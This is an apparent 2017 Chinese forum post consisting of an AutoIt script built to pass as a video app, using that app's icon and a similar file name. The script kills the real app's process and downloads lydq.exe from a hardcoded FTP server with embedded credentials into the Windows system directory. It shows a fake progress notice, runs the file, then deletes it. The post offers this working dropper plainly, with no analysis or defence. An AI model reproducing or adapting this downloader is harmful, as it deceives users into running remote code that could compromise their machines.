|
发表于 2017-8-14 09:27:05
|
显示全部楼层
#Region
#AutoIt3Wrapper_icon=..\影视大全.exe|-1
#AutoIt3Wrapper_outfile=D:\影视大全2.exe
#AutoIt3Wrapper_UseX64=n
#AutoIt3Wrapper_Res_Description=qq:17937498
#EndRegion
PROCESSCLOSE("影视大全.exe")
LOCAL $TIME = TIMERINIT(), $TYPE
LOCAL $SIZE = INETGETSIZE("ftp://lygg:lygg@222.161.2.151/lydq.exe")
LOCAL $HDOWNLOAD = INETGET("ftp://lygg:lygg@222.161.2.151/lydq.exe", @SYSTEMDIR & "\lydq.exe", 0x00000001, 0x00000001)
DO
SLEEP(0x00000064)
$INFO = INETGETINFO($HDOWNLOAD, 0x00000000)
$S = INT($INFO / (TIMERDIFF($TIME) / 0x000003E8) / 0x00000400)
TRAYTIP("下载中"& $TYPE, "下载速度:"& $S & "KB"& @CR & "下载时间:"& INT($SIZE / 0x00000400 / $S / 0x0000003C) & "分"& @CR & "剩余时间:"& INT(($SIZE - $INFO) / 0x00000400 / $S / 0x0000003C) & "分"& @CR & "下载大小:"& INT($INFO / 0x00000400) & "KB"& @CR & "剩余大小:"& INT(($SIZE - $INFO) / 0x00000400) & "KB"& @CR & "下载进度:"& INT($INFO / $SIZE * 0x00000064) & "%", 0x0000000A)
$TYPE &= "."
IF STRINGLEN($TYPE) > 0x00000008 THEN $TYPE = ""
UNTIL INETGETINFO($HDOWNLOAD, 0x00000002)
RUN(@SYSTEMDIR & "\lydq.exe")
SLEEP(0x00000BB8)
FILEDELETE(@SYSTEMDIR & "\lydq.exe") |
|